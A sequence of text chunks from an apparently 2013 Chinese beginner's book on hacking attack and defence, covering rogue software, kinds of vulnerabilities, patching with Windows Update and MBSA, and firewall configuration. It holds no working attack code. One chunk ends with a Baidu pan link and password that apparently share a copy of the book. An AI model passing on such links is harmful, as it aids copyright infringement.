    {"text": "流氓软件是指在未明确提示用户或未经用户许可的情况下，在用 户计算机或其他终端上安装运行，侵犯用户合法权益的软件。 通俗地 讲是指在使用计算机上网时，能够不断弹出恶意的广告窗口、私自修 改浏览器设置等的软件。 但是也有些流氓软件只是为了达到某种目 的，比如广告宣传，这种流氓软件不会影响用户计算机的正常使用， 只不过在启动浏览器的时候会多弹出来一个网页，从而达到宣传的目 的。 2. 流氓软件的特点 一般而言，流氓软件具有以下几个特点。 强制安装 在未明确提示用户或未经用户许可的情况下，流氓软件会在用户 的计算机、其他终端或系统盘上安装软件。 不易卸载 流氓软件不会提供通用的卸载方式，在不受其他软件影响或人为 破坏的情况下，卸载后却仍能够进行活动。 浏览器劫持 未经用户的许可，流氓软件会自动修改用户浏览器或其他相关设 置，迫使用户访问特定网站或导致用户无法正常上网。 广告弹出 指未明确提示用户或未经用户许可的情况下，流氓软件能够利用 安装在用户计算机或其他终端上的软件来弹出广告。 恶意收集用户信息 未明确提示用户或未经用户许可，流氓软件会恶意地收集用户信 息。 恶意卸载 未明确提示用户、未经用户许可，流氓软件会误导、欺骗用户卸 载非恶意软件。 恶意捆绑 指在软件中捆绑已被认定为恶意软件的行为。 3. 流氓软件的分类 根据不同的特征和危害，困扰广大计算机用户的流氓软件主要有 以下几类。 广告软件 广告软件是指未经用户允许，下载并安装在用户计算机上，或与 其他软件捆绑，通过弹出式广告等形式牟取商业利益的程序。"},
    {"text": "浏览器劫持 浏览器劫持是一种恶意程序，通过浏览器插件、BHO（浏览器辅助 对象）、Winsock LSP等形式对用户的浏览器进行篡改，使用户的浏览 器配置不正常，被强行引导到商业网站。 用户在浏览网站时会被强行安装此类插件，普通用户根本无法将 其卸载，被劫持后，用户只要上网就会被强行引导到其指定的网站， 严重影响正常上网浏览。 行为记录软件 行为记录软件是指未经用户许可，窃取并分析用户隐私数据，记 录用户电脑使用习惯、网络浏览习惯等个人行为的软件。 行为记录软件危及用户隐私，可能被黑客利用来进行网络诈骗。 例如：一些软件会在后台记录用户访问过的网站并加以分析，有的甚 至会发送给专门的商业公司或机构，此类机构会据此窥测用户的爱 好，并进行相应的广告推广或商业活动。 恶意共享软件 恶意共享软件是指某些共享软件为了获取利益，采用诱骗手段、 试用陷阱等方式强迫用户注册，或在软件体内捆绑各类恶意插件，未 经允许即将其安装到用户的计算机里。"},
    {"text": "使用该软件清除流氓软件的具体操作步骤如下。 1 首先下载并安装 Wopti 流氓软件清除大师软件到自己的计算机 上，然后运行该程序，打开其主界面，可以看到该软件会自动进行流 氓软件的扫描。 2 扫描完成后，在下方会显示扫描到的结果，若检测到了流氓软 件，用户可以切换到【流氓软件清除】选项卡或者直接单击其右侧的 【查看详细信息】超链接。 3 进入【流氓软件清除】界面，在下方的列表框中列出了扫描到 的流氓软件的详细信息，选择其左侧的复选框，然后单击【清除】按 钮进行清除。 4 清除完成后，弹出【提示】对话框，提示用户需要重新启动计 算机才能够将流氓软件彻底清除，单击 按钮，然后重新启 动计算机即可。 15.3.3 恶意软件清理助手 恶意软件清理助手是一款专用的流氓软件清理软件。"},
    {"text": "它采用全新 设计的清理引擎，配合独有的动态分析技术加上不断升级的特征库， 全新设计的进程管理模块，可以显示隐藏进程和强制结束顽固进程。"},
    {"text": "使用恶意软件清理助手清理流氓软件的具体操作步骤如下。 1 首先下载恶意软件清理助手到自己的计算机上，直接双击打开 其压缩包，在其中双击“rec2011.exe”安装程序文件。 2 打开该软件的主窗口，切换到【恶意软件清理】选项卡，在 【基本操作】组合框中单击【点击此处开始扫描恶意软件】超链接。"},
    {"text": "4 扫描完成后，会自动切换到扫描结果界面，在下方的列表框中 会列出所有的恶意软件，单击【全部选中】超链接，然后单击【清理 选定项目】超链接进行清理即可。"},
    {"text": "1 打开【Internet选项】对话框，切换到【隐私】选项卡，在 【弹出窗口阻止程序】组合框中选择【启用弹出窗口阻止程序】复选 框，然后单击 按钮。 2 弹出【弹出窗口阻止程序设置】对话框，在【通知和阻止级 别】组合框中选择【阻止弹出窗口时播放声音】和【阻止弹出窗口时 显示信息栏】复选框，在下方的下拉列表中选择【中：阻止大多数自 动弹出窗口】选项，然后单击 按钮。 3 返回【Internet 选项】对话框，单击 按钮保存设 置即可。"},
    {"text": "屏蔽网页中的浮动弹窗广告 用户在访问网站时经常会被网站中的浮动广告图片、Flash以及恶 意的弹窗搞得焦头烂额。 例如，在访问的新闻、小说、漫画网站页面 中出现大量的GIF、Flash广告，眼花缭乱；"},
    {"text": "1 打开【Internet选项】对话框，切换到【安全】选项卡，在 【该区域的安全级别】组合框中单击 按钮。 2 弹出【安全设置-Internet区域】对话框，在下方的【设置】列 表框中找到【脚本】选项，在其下方的【Java小程序脚本】和【活动 脚本】扩展选项中选中【禁用】单选钮，设置完成后单击 按钮。 3 返回【Internet 选项】对话框，然后单击 按钮保 存设置即可。"},
    {"text": "图书在版编目（CIP）数据 新手学黑客攻击与防范从入门到精通/周阿连编著.--北京：人民 邮电出版社，2013.3 ISBN 978-7-115-30296-0 Ⅰ.①新… Ⅱ.①周… Ⅲ.①计算机网络—安全技术 Ⅳ.①TP393.08 中国版本图书馆CIP数据核字（2013）第021200号 内容提要 本书是指导初学者学习黑客攻击与防范的入门书籍。 本书在 Windows 7系统下，详细地介绍了黑客的基础知识和操作技巧，对初学 者在学习黑客知识时经常遇到的问题进行了专家级的指导，并对操作 系统、密码、网络和木马/病毒方面的攻防进行了案例剖析。"},
    {"text": "第2篇介绍操作系统方面的攻击与防范，了解浏览器、注册 表、系统漏洞和远程控制方面的攻击与防范。 第3篇介绍密码方面的攻 防，介绍了硬件密码、系统密码的设置与破解，能对破解有针对性地 加强防护。 第4篇介绍网络方面的攻击与防范，介绍QQ、MSN、电子邮 件和局域网内ARP方面的攻击与防范。 第5篇介绍木马与病毒的攻击与 防范。"},
    {"text": "同 时光盘中附有 8小时精通Windows 7视频讲解，常见问题解答 300例， 黑客攻防实用技巧 200招，常用办公设备、办公软件的使用方法，以 及系统优化、安全和防杀病毒实用技巧200招等内容。 本书既适合想了解黑客知识的初学者阅读，又可以作为大中专院 校的教材或者企业的培训教材，同时对有经验的电脑用户也有一定的 参考价值。 新手学黑客攻击与防范从入门到精通 ◆编著 神龙工作室 周阿连 责任编辑 马雪伶 ◆人民邮电出版社出版发行 北京市崇文区夕照寺街14号 邮编 100061 电子邮件 315@ptpress.com.cn 网址 http://www.ptpress.com.cn 三河市海波印务有限公司印刷 ◆开本：787×1092 1/16 印张：24 字数：613千字 2013年3月第1版 印数：1-4000册 2013年3月河北第1次印刷 ISBN 978-7-115-30296-0 定价：49.00元（附光盘） 读者服务热线：（010）67132692 印装质量热线：（010） 67129223 反盗版热线：（010）67171154 广告经营许可证：京崇工商广字第0021号 链接：https://pan.baidu.com/s/1fE1wc851aqqk26v4CxHRkQ 密码： 0aqt"},
    {"text": "新手学黑客攻击与防范从入门到精通 (计算机软件实战从入门到精通系列 6) 2013 （3）第三阶段——爆发攻击 由于攻击代码被公开，攻击程序已经非常成熟，恶意攻击者对安 全补丁进行了研究，编写也有针对漏洞的攻击程序并进行传播，从而 为大规模爆发提供了有利条件。 （4）第四阶段——漏洞修复 针对漏洞的攻击，大部分的系统开始安装漏洞修补程序，另外大 部分的防病毒程序也提供修补漏洞功能，此时大部分的系统恢复正 常，只有部分未安装漏洞修复补丁的系统，仍处于被攻击状态，但影 响已经明显减轻。 （5）第五阶段——漏洞消失 一段时间后，由于系统和软件版本升级或者安装了修复补丁，漏 洞对系统的影响减轻甚至消失，至此该漏洞结束其生命周期。 4. 漏洞的危害 漏洞对系统造成的危害,在于它可能会被攻击者利用，继而破坏系 统的安全特性，而它本身不会直接对系统造成危害。 通常而言，漏洞会对以下5种系统安全特性造成危害。 （1）系统的完整性 攻击者可利用漏洞入侵系统，对系统数据进行非法篡改，达到破 坏数据完整性的目的。 （2）系统的可用性 攻击者利用漏洞破坏系统或者网络的正常运行，导致信息或网络 服务不可使用，合法用户的正常服务要求得不到满足。 （3）系统的机密性 攻击者利用漏洞为非授权的个人和实体泄露受保护信息。"},
    {"text": "（4）系统的可控性 攻击者利用漏洞对授权机构控制信息的机密性造成危害。 （5）系统的可靠性 攻击者利用漏洞对用户认可的质量特性（信息传递的迅速性、准 确性以及连续地转移等）造成危害。 5. 漏洞产生的原因 漏洞的产生主要是由于程序员不正确和不安全编程引起的。 多数 漏洞产生的原因不外乎以下几种。 （1）输入验证错误 漏洞的产生是由于未对用户提供的输入数据的合法性做适当的检 查。"},
    {"text": "（3）竞争条件错误 漏洞的产生是由于程序在处理文件等实体时在时序和同步方面存 在问题，在处理的过程中可能存在一个机会窗口使攻击者能够施以外 来的影响。 （4）意外情况处置错误 漏洞的产生是由于程序在它的实现逻辑中没有考虑到一些本应该 考虑的意外情况。"},
    {"text": "（5）配置错误 漏洞的产生是由于系统和应用的配置有误，或是软件安装在错误 的地方，或是参数配置错误，或是访问权限配置错误等。 （6）环境错误 由于一些环境变量的错误或恶意设置造成的漏洞，导致有问题的 特权程序可能去执行攻击代码。"},
    {"text": "漏洞 是不断地被人们发现并公布出来的。 发现漏洞，有两个不同的出发点。 一方面，从攻击者的角度，他 们会不断地去发现目标系统的安全漏洞，从而通过漏洞入侵系统。 另 一方面，从系统安全防护的角度来看，系统安全人员会努力地发现可 能存在的系统漏洞，在漏洞被攻击者发现、利用之前就将其修补好。 漏洞的发现者主要是程序员、系统管理员、安全服务商组织、黑 客以及普通用户。 6.1.2 漏洞的分类 1. 根据漏洞的类型分类 一般入侵者可以利用的漏洞有网络漏洞、系统漏洞和管理漏洞。 （1）网络传输和协议的漏洞 攻击者利用网络传输时对协议的信任和网络传输的漏洞进行攻 击。 （2）系统漏洞 攻击者可以利用服务进程的 BUG 和配置错误进行攻击。 （3）管理漏洞 攻击者可以利用各种方式从系统管理员和用户那里诱骗或套取可 用于非法进入的系统信息。 2. 从漏洞的作用范围分类 根据漏洞的作用范围，系统安全漏洞可以分为本地漏洞和远程漏 洞两大类。 （1）本地(local)攻击漏洞 要想利用此类漏洞，攻击者必须是系统的本地合法用户或已经通 过其他攻击方法获得了本地权限的非法用户。 (2) 远程(remote)攻击漏洞 利用此类漏洞，攻击者可通过网络对连接在网络上的远程主机进 行攻击。 3. 根据漏洞被人掌握的情况分类 根据漏洞被人掌握的情况，漏洞可以分为已知漏洞、未知漏洞和 0day等几种类型。"},
    {"text": "这 类漏洞的特点是漏洞形成的原因和利用方法已经被众多的安全组织、 黑客和黑客组织所掌握。 安全组织或厂商按照公布的漏洞形成的原因 和利用方法，在他们的安全防护产品或安全服务项目中加入针对相应 类型漏洞的防护方法。 黑客和黑客组织利用公布的漏洞形成原因，写 出专门的具有针对性的漏洞利用程序文件，并能绕过安全防护软件。"},
    {"text": "（2）未知漏洞 未知漏洞是指那些已经存在但还没有被发现的漏洞，这类漏洞的 特征是虽然它们没有被发现，但它们在客观上已经存在了，它们带给 计算机网络安全的威胁是隐藏性的，如果它们哪一天被黑客有意或无 意地找出来后，就会对计算机网络安全构成巨大的威胁。"},
    {"text": "（1）普通用户访问权限 攻击者可以获得系统的普通用户存取权限，通常是利用服务器的 某些漏洞。 （2）本地管理员权限 已有本地用户权限的攻击者通过攻击本地某些有缺陷的程序，得 到系统管理员权限。 （3）远程管理员权限 攻击者不需要本地用户权限可直接获得远程系统的管理员权限， 通常是通过以 Root 身份执行有缺陷的系统守护进程而获得。 （4）权限提升 攻击者在本地通过攻击某些有缺陷的程序，把自己的普通权限提 升为管理员权限。 （5）本地拒绝服务 攻击者使系统本身或应用程序不能正常运转或者正常提供服务。 （6）远程拒绝服务 攻击者利用此类漏洞对远程系统发起拒绝服务攻击，使系统或相 关的应用程序崩溃或失去响应能力。 ⑺ 读取受限文件 攻击者利用某些漏洞，读取系统中自己没有权限读取的文件。 ⑻ 远程非授权文件存取 攻击者可以不经授权从远程存取系统的某些文件。"},
    {"text": "事实上一个系统漏洞对安全造成的威胁远不限于它的直接危害 性，如攻击者获得了系统的普通用户访问权限，就极有可能利用本地 漏洞，升级为管理员权限。"},
    {"text": "6.2 系统漏洞防御 系统漏洞对电脑的使用安全造成威胁，而最有效的防御手段就是 及时了解漏洞的信息并安装对应的补丁程序。 6.2.1 查看系统漏洞信息 1. 补丁程序的分类 在 Windows 操作系统中，微软的补丁程序可以分为两大类： Hotfix（修补程序）和 SP （Service Pack，补丁包）。"},
    {"text": "如果用户的电脑里安装过Hotfix补丁程序，可以使用如下方法进 行查看。 如果用户要了解系统安装了哪些补丁，可以使用控制面板选项， 具体操作步骤如下。"},
    {"text": "1 单击 按钮，选择【控制面板】菜单项，打开【控制面板】 窗口，单击【程序】功能区中的【卸载程序】文字链接。 2 打开【程序和功能】窗口，选择左侧的【查看已安装的更新】 文字链接。 3 打开【已安装更新】窗口，显示出已经安装的更新信息，用户 可以查看每个更新的详细信息，甚至将其从系统中卸载（不推荐，除 非明确卸载该更新信息后，不会影响系统安全）。"},
    {"text": "以名称为KB2347290的更新为例，其中的字母KB（Knowledge Base，知识库）是微软对补丁的命名方式，后面的数字则对应微软知 识库中相同数字序号的文档。"},
    {"text": "对一般用户来说，下载安装各种Hotfix很繁 琐，于是，微软开始发布SP补丁包，SP补丁包中包含SP发布日期前所 发布的所有Hotfix。 Windows操作系统的SP补丁包是可叠加补丁包，也就是说SP2中已 包含SP1中的所有补丁，SP3中已包含SP2、SP1中的所有补丁，用户只 需下载并安装最新的SP补丁包即可。 对于 Office 产品，SP 补丁包则不是叠加补丁包，必须下载并安 装所有的SP补丁包，这一点务必要注意。"},
    {"text": "以Windows 7操作系统为例，Service Pack 1(SP1)重要更新，包 括以前针对Windows 7发行的安全更新、性能更新和稳定性更新。 SP1 还包括针对Windows 7中功能和服务的新改进，如提高了连接到HDMI音 频设备时、使用XPS查看器、打印时以及在重新启动后还原 Windows 资源管理器中以前的文件夹时的可靠性。 在Windows 7操作系统中，查看是否已经安装了SP1补丁包的具体 方法如下。"},
    {"text": "2 打开【系统】窗口，查看【Windows 版本】功能区是否有 “Service Pack 1”字样，如果有，则说明这台电脑上已经安装了SP1 补丁。 如果没有安装则应尽快安装最新的SP补丁包，以保护系统的使 用安全。"},
    {"text": "2. 漏洞检测 针对漏洞的检测可以采用两种策略，被动式策略和主动式策略。 被动策略是基于主机的检测，对系统中不合适的设置、脆弱的密 码以及其他同安全策略相抵触的对象进行检查。 主动式策略是基于网络的检测，通过执行一些脚本文件对系统进 行攻击，并记录其反应，从而发现其中的漏洞。"},
    {"text": "一般来说，在 Windows 操作系统中，用户可以使用Windows Update（Windows更新）功能、微软专用漏洞检测工具—— MBSA（Microsoft Baseline Security Analyzer，微软基准安全分析 器）和使用第三方软件（如360安全卫士、金山卫士和QQ电脑管家等） 这3种方式。 Windows Update Windows Update是微软提供的一种自动更新工具，通常提供漏 洞、驱动和软件的升级。"},
    {"text": "通过它可以更新系统，解决已知的问题并可 帮助修补已知的安全漏洞； 扩展系统功能，让系统支持更多的软、硬 件，解决各种兼容性问题，让系统更安全、更稳定。"},
    {"text": "Windows Update会扫描用户的电脑，然后通知用户软件和硬件的 需要更新。 Windows Update 可分为重要更新和可选更新两大类，其中 重要的更新往往是漏洞补丁，可选的更新一般是驱动、软件和语言包 等。 使用Windows Update功能检测漏洞的具体操作步骤如下。 1 单击 按钮，在【搜索-运行】文本框中输入“update”， 随后单击结果列表中【WindowsUpdate】文字链接。 2 打开【WindowsUpdate】窗口，单击右侧窗格中的 按钮。 3 Windows Update开始查找更新信息，该操作需要访问微软网 站，可能需要的时间较长。"},
    {"text": "MBSA MBSA(微软基准安全分析器）是专为 IT专业人员设计的一个简单 易用的工具，可帮助中小型企业根据 Microsoft 安全建议确定其安全 状态，并根据结果提供具体的修正指南。"},
    {"text": "使用 MBSA 检测常见的安全 性错误配置和计算机系统遗漏的安全性更新，能改善用户的安全性管 理流程。 MBSA 基于 windows 自动更新应用程序编程接口（windows update agent api）设计，能进行多项漏洞扫描，包括 Windows 系统 漏洞、弱口令 、IIS服务器漏洞、SQL Server漏洞和系统安全更新程 序等，还能对以上漏洞的检测给出完整的扫描报告。 MBSA除了能检测漏洞之外，还提供了详细的解决方案和补丁程序 的下载地址，使用起来非常方便。 目前MBSA的较新版本为英文2.2版本，能对包括windows 7、 Windows Server 2008 R2在内的32位/64位windows操作系统进行检测 和修复。 下面以Windows 7 32位操作系统为例，安装并使用MBSA扫描漏洞 的具体操作步骤如下。 1 首先从微软官网上下载 MBSA 2.2英文版，然后双击安装程序图 标 。 2 弹出【Welcome to the Microsoft baseline Security Analyzer】（欢迎使用MBSA）界面，单击 按钮。"},
    {"text": "4 弹出【Destination Folder】（安装位置）界面，一般推荐使 用默认设置，直接单击 按钮即可。 5 弹出【Start Installation】（开始安装）界面，如果用户确 认设置正确，单击 即可。"},
    {"text": "9 弹出【Microsoft Baseline Security Analyzer 2.2】窗口， 在该窗口中用户可以使用名称或IP地址扫描单台主机（Scan a computer），也可以使用域名或IP地址段扫描多台主机（ Scan Multiple computers），还可以查看扫描报告（View security reports）。 在此以扫描单台电脑为例，只需单击【Scan a computer】链接即可。 10 切换到【Which computer do you want toscan】(你想扫描哪 台电脑)界面，【Computer name:】文本框中自动输入本机的电脑名 称，其他选项使用默认设置直接单击 即可。"},
    {"text": "12 扫描完毕出现扫描报告，在【Security assessment】（安全 评估）区域显示本次扫描的详细信息，包括电脑名称、IP地址、扫描 报告名称、扫描时间和 MBSA 版本等信息；"},
    {"text": "在【Security update scan Results】（安全更新扫描结果）区域显示漏洞补丁信息，单击 【Result details】（结果详细信息）链接可以查看漏洞的详细信 息； 在【Windows Scan Results】（Windows扫描结果）区域显示与 Windows安全有关的扫描结果，同样可以单击【Result details】（结 果详细信息）链接查看它们的详细信息。"},
    {"text": "第三方软件 目前有很多的安全防护类软件带有漏洞检测/修复组件，能够检测 Windows系统漏洞，并根据需要修复相应的漏洞。 （1）360安全卫士 360安全卫士是奇虎360推出的安全防护软件，能够对系统进行多 方位的检测，分析系统安全性，并带有大量的维护/修复工具。 使用 360 检测系统漏洞的具体操作步骤如下。 1 下载、安装并运行360安全卫士，程序首次运行时将会自动对系 统安全性进行评分。 如果系统中存在着系统漏洞，360 安全卫士的分 数将会被拉低，并在扫描界面上给出提示。"},
    {"text": "（2）金山卫士 金山卫士是金山网络技术有限公司推出的安全防护软件，其产品 定位与360类似，有查杀木马能力强、检测漏洞快和体积小巧等特点， 它采用金山领先的云安全技术，不仅能查杀上亿已知木马，还能在5分 钟内发现新木马；"},
    {"text": "（3）QQ电脑管家 QQ 电脑管家是由腾迅公司推出的安全防护软件，能够快速全面地 检查计算机存在的风险，检查项目主要包括盗号木马、高危系统漏 洞、垃圾文件、系统配置被破坏及篡改等。 发现风险后，通过QQ电脑 管家提供的修复和优化操作，能够消除风险和优化计算机的性能。 使用QQ电脑管家检修系统漏洞的具体操作步骤如下。 1 运行QQ电脑管家程序，如果程序是首次运行，会对电脑进行体 检，检测出的威胁会在列表中用红色显示出来。"},
    {"text": "一般来说，能够检测系统漏洞的程序都带有修复功能，如Windows Update、360安全卫士、金山卫士和QQ电脑管家等安全防护类软件都有 漏洞修复功能。 1. Windows Update 用户可以更改Windows Update的设置，让其自动安装更新、下载 后不安装或者只通知用户有新的更新可用，具体的操作步骤如下。 1 单击 按钮，在【搜索-运行】文本框中输入“update”， 随后选择结果列表中的【Windows Update】菜单项。 2 打开【Windows Update】窗口，单击左侧窗格中的【更改设 置】文字链接。 3 弹出【更改设置】对话框，单击【重要更新】下拉列表按钮， 其中有4个选项，默认选中了【自动安装更新（推荐）】选项， Windows Update会自动下载并安装漏洞补丁程序。"},
    {"text": "4 如果用户选择了自动安装更新程序，Windows Update会自动扫 描系统漏洞，随后开始自动下载最新的漏洞补丁程序，任务栏中将会 出现自动更新图标 ，同时会弹出更新提醒。 5 更新自动安装完成后，会弹出【WindowsUpdate】对话框，提示 用户需要重新启动电脑，推荐保存当前工作后单击 按 钮立即重新启动电脑。 6 如果用户没有开启自动更新安装功能，可以按 6.2.1 小节中介 绍的方法，使用 Windows Update 检测系统漏洞，然后单击窗口中的 按钮即可。 2. 第三方漏洞修复程序 与Windows Update相比，使用第三方漏洞修复程序修复漏洞会更 加的方便，这些软件（如360安全卫士、金山卫士和QQ电脑管家等）大 多能实现多个漏洞补丁的依次自动下载和安装。 （1）360安全卫士 使用360安全卫士修复系统漏洞的具体操作步骤如下。 1 运行360安全卫士扫描检测系统中的漏洞，扫描结束后，如果系 统中存在漏洞，会在列表中显示出来。"},
    {"text": "360安全卫士会自动选中那些重 要的更新，用户只需直接单击 按钮即可。 2 360安全卫士开始漏洞补丁程序的下载和安装，该操作是自动进 行的，无需人工干预。 3 漏洞修复完毕，360 安全卫士会提示用户重启电脑，保存当前 工作后重新启动电脑，即可完成系统漏洞的修复工作。 （2）金山卫士 使用金山卫士修复系统漏洞的具体操作步骤如下。 1 运行金山卫士程序，扫描检测系统漏洞，扫描结束后，金山卫 士会自动选中那些重要的更新程序，用户只需单击 按钮即 可。 2 金山卫士会自动下载并安装选中的漏洞补丁程序，漏洞补丁程 序的安装采用静默方式，全部自动完成，不需要用户进行任何其他的 操作。 3 漏洞修复完毕，金山卫士会提示用户，只有重新启动电脑，所 安装的更新程序才能生效，保存当前工作后重新启动电脑，即可完成 系统漏洞的修复工作。 （3）QQ电脑管家 使用QQ电脑管家修复系统漏洞的具体操作步骤如下。 1 运行QQ电脑管家程序，扫描检测系统漏洞，扫描结束后，QQ电 脑管家会自动选中那些重要的更新程序，用户只需单击 按钮 即可。 2 QQ电脑管家会自动下载并安装选中的漏洞补丁程序，漏洞补丁 程序的安装采用静默方式，全部自动完成，不需要用户进行任何其他 的操作。 3 漏洞修复完毕，QQ电脑管家会提醒用户，只需单击 按 钮即可完成系统漏洞的修复工作。 6.2.3 安装 设置防火墙 、 除了及时安装系统漏洞修复补丁修补系统漏洞外，用户还可以通 过开启、安装网络防火墙来防御黑客的攻击。"},
    {"text": "1. 什么是防火墙 防火墙，是用来防范非授权的访问、保护信息安全的一个或一组 系统，它一般位于计算机和它所连接的网络之间，该计算机流入、流 出的所有网络通信均要经过此防火墙。 防火墙可以是软件，也可以是硬件，它能够检查来自Internet的 信息，然后根据防火墙设置阻止或允许这些信息通过计算机。 防火墙有助于防止黑客或恶意软件（如蠕虫）通过Internet访问 计算机。 防火墙还有助于阻止计算机向其他计算机发送恶意软件。 防火墙具有很好的保护作用。 入侵者必须首先穿越防火墙的安全 防线，才能接触目标计算机。"},
    {"text": "③可以作为部署 NAT（Network Address Translation，网络地址 变换）的地点，利用NAT技术，将有限的IP地址动态或静态地与内部的 IP地址对应起来，用来缓解地址空间短缺的问题。"},
    {"text": "3. 防火墙的分类 网络防火墙有多种分类方法，比如可以从技术、形态、用途和吞 吐量等方面进行分类。 （1）按防火墙技术分类 防火墙按技术可分为状态包过滤防火墙和代理式防火墙。 其中状 态包过滤防范效果最好，是目前主流防火墙选用的技术；"},
    {"text": "（2）按防火墙形态分类 按防火墙的形态，可分为硬件防火墙、“黑盒子”防火墙和软件 防火墙3大类。 硬件防火墙基于硬件，采用电路硬件级设计，算法被设计进 ASIC（Application-Specific Integrated Circuit，特定应用集成电 路）专用芯片，效率最高，能有效解决防火墙效率和性能之间的矛 盾，处理能力基本不受数据量的影响。 “黑盒子”防火墙，是为服务器、工控机和软件的整体方案型设 计，软件基于Linux系统，优势在于成本较低，劣势在于效率不高，硬 件平台/软件平台不稳定，售后成本高。"},
    {"text": "（3）按防火墙用途分类 按防火墙的用途，可分为内网防火墙、外网防火墙和混合防火墙3 大类。 外网防火墙用于防范局域网外的非法侵入和受保护内容的浏览， 用于和外网的隔离（如与Internet隔离，防止黑客入侵），此种防火 墙用法最为广泛，防火墙位于路由器之后，交换机之前。 内网防火墙用于企业内部网重要信息的保护，保护信息不会被局 域网内部非授权用户取得。 内网防火墙主要用于大型企业和园区重要 数据的保护，如银行数据库、企业财务部门等。"},
    {"text": "（4）按防火墙吞吐量分类 按防火墙的吞吐量，可分为 10Mbit/s、10/100Mbit/s和 1000Mbit/s（1Gbit/s）等类型。 10Mbit/s防火墙，用于分支机构，中型企事业单位，互联网出口 小于10Mbit/s处应用。 由于国内终端用户的互联网接入一般小于 10Mbit/s，因此 10Mbit/s 防火墙基本可以满足用户外网防火墙的需 求。 10/100Mbit/s，这种防火墙仅仅改变接入的网卡，升级为 10Mbit/s/100Mbit/s自适应，主要用于 IDC（Internet Data Center，资料中心），ISP （Internet Server Provider，Internet 服务提供商）等高接入带宽的外网防火墙。 1000Mbit/s防火墙，此种防火墙仅用于骨干网络中心，如电信、 银行、电力等专网的中心节点，或电信级IDC等。"},
    {"text": "4. Windows 7防火墙 自从Vista开始，Windows的防火墙功能更加完善，不再像Windows XP那样防护功能简单、配置单一，系统防火墙已经成为系统的一个不 可或缺的部分。"},
    {"text": "2 打开【自定义设置】窗口，在该窗口中可以看出私有网络和公 用网络的配置是完全分开的，在【启用Windows防火墙】功能区里有两 个选项，其中【阻止所有传入连接，包括位于允许程序列表中的程 序】选项除非有必要，否则尽量不要选中，因为一旦选中可能会影响 允许程序列表里的一些程序的使用。 【Windows 防火墙阻止新程序时 通知我】选项应尽量要选中，当防火墙阻止某些程序时给出相应的提 示，方便用户能做出判断和响应。 如果需要关闭防火墙，只需要选中 对应网络类型里的【关闭Windows防火墙（不推荐）】单选项，然后单 击 按钮即可。 还原Windows 7防火墙设置 如果用户不小心错误地设置了防火墙，可能会导致某些异常的出 现。 此时可以使用防火墙的还原功能，快速地进行恢复，使其恢复到 默认状态。 用户只需单击【Windows 防火墙】窗口的【还原默认设置】文字 链接，即可进行还原。 还原时，Windows 7会删除所有的网络防火墙配置项目，恢复到初 始状态。"},
    {"text": "1 打开【Windows防火墙】窗口，单击左侧导航栏中的【允许程序 或功能通过 Windows防火墙】文字链接。 2 打开【允许的程序】窗口，在【允许的程序和功能】列表框中 显示当前已经添加到防火墙中的规则。"},
    {"text": "那些名称项被选中的程序和功 能将被启用（如AliIM），防火墙允许其通过已设置的网络类型 （AliIM允许通过公用网络），私用和公用网络能够独立配置，互不影 响。"},
    {"text": "6 用户也可以添加自己的应用程序许可规则，单击 按钮弹出【添加程序】对话框，选择将要添加的程 序名称（如果列表里没有，就单击 按钮找到该程序），然 后单击 按钮。"},
    {"text": "如果用户需要对增加的允许规则进行详细定制，比如端口、协 议、安全连接及作用域等，需要到防火墙的高级设置界面进行设置。 Windows 7防火墙的高级设置 如果用户需要对防火墙进行更加详细地设置，就需要进入Windows 7防火墙的高级详细界面。 只需单击【Windows防火墙】窗口中的【高 级设置】文字链接，即可打开【高级安全Windows防火墙】窗口。 几乎所有的防火墙设置都可以在这里完成， Windows 7 防火墙的 诸多优秀特性也可以在此展现出来。 【高级安全Windows防火墙】主要涉及3个部分规则的定制，分别 是入站规则、出站规则和连接安全规则。"},
    {"text": "（1）启用或禁用规则 用户只需要选中想要启动或禁用的规则，然后选择右侧操作栏中 的【启用规则】或【禁用规则】操作，即可启用或禁用该规则。"},
    {"text": "（2）入站规则和出站规则 入站和出站规则的设置方法基本相同，用户在 Windows 防火墙的 【允许程序或功能通过Windows防火墙】中每增加或减少一个设置项， 都会反映到入站或出站规则中，这些规则从整体上看可以分成两个部 分，分别是用户规则和系统预设规则。"},
    {"text": "预定义规则大部分都是系统已经预先设置好的，规则中的【程序 和服务】与【协议和端口】两个部分几乎都不可以修改，系统规则也 会用黄色头标注明，大部分系统规则，我们只需要启用或禁止即可。"},
    {"text": "在允许程序或服务管理中，每增加一条程序或启用一个服务，都 有可能在高级安全管理界面里看到多条规则，规则数量的多少与程序 和服务实际使用的协议数量有关。"},
    {"text": "在设置Windows 7操作系统的高级安全防火墙时，如果有不明白的 地方，可以随时查看窗口中的帮助文件，防火墙的帮助文件非常完 善，每项都有详细明了的介绍。"},
    {"text": "使用新建连接安全规则向导，创建 Internet协议安全性 （IPSec）规则，以实现不同的网络安全目标，向导中已经预定义了四 种不同的规则类型（隔离、免除身份验证、服务器到服务器和隧 道）。"},
    {"text": "【安全关联】下的有【主模式】和【快速模式】两个子项，其中 【主模式】通过确定一个加密保护套件集、交换密钥材料建立共享密 钥以验证计算机和用户身份，最终在两台计算机之间建立一个安全的 通道。 【快速模式】在两台计算机之间建立安全通道，以保护在两台 计算机之间交换的数据的安全。"},
    {"text": "5. 第三方防火墙 在 Windows 操作系统中，用户还可以安装第三方防火墙程序，例 如用户量较多的COMODO Firewall（科摩多防火墙，昵称“啃毛豆”， 简称“毛豆”）和360木马防火墙等。"},
    {"text": "COMODO Firewall COMODO Firewall是一款功能强大且高效的防火墙软件，能对网络 和个人用户提供高级别的保护，有效阻挡黑客的侵入和个人资料的泄 露。"},
    {"text": "COMODO Firewall是一款免费防火墙，除了有普通防火墙的功能 外，还有 HIPS （Host-based Intrusion Prevention System，基于 主机的入侵防御系统）技术，能够拦截反弹木马，阻止木马病毒的运 行。 COMODO Firewall的安装比较简单，一般用户只需按默认设置安装 即可，随后就会进入程序主界面。 COMODO Firewall提示用户需要重新 启动电脑，保存当前所有工作后，单击 按钮重新启动电脑即 可。 （1）【概况】选项卡 COMODO Firewall启动后默认显示【概况】选项卡，在此可以查看 其所拦截的危险连接统计。 如果COMODO Firewall拦截了1个以上的危险入侵，用户可以单击 数字查看详细信息。"},
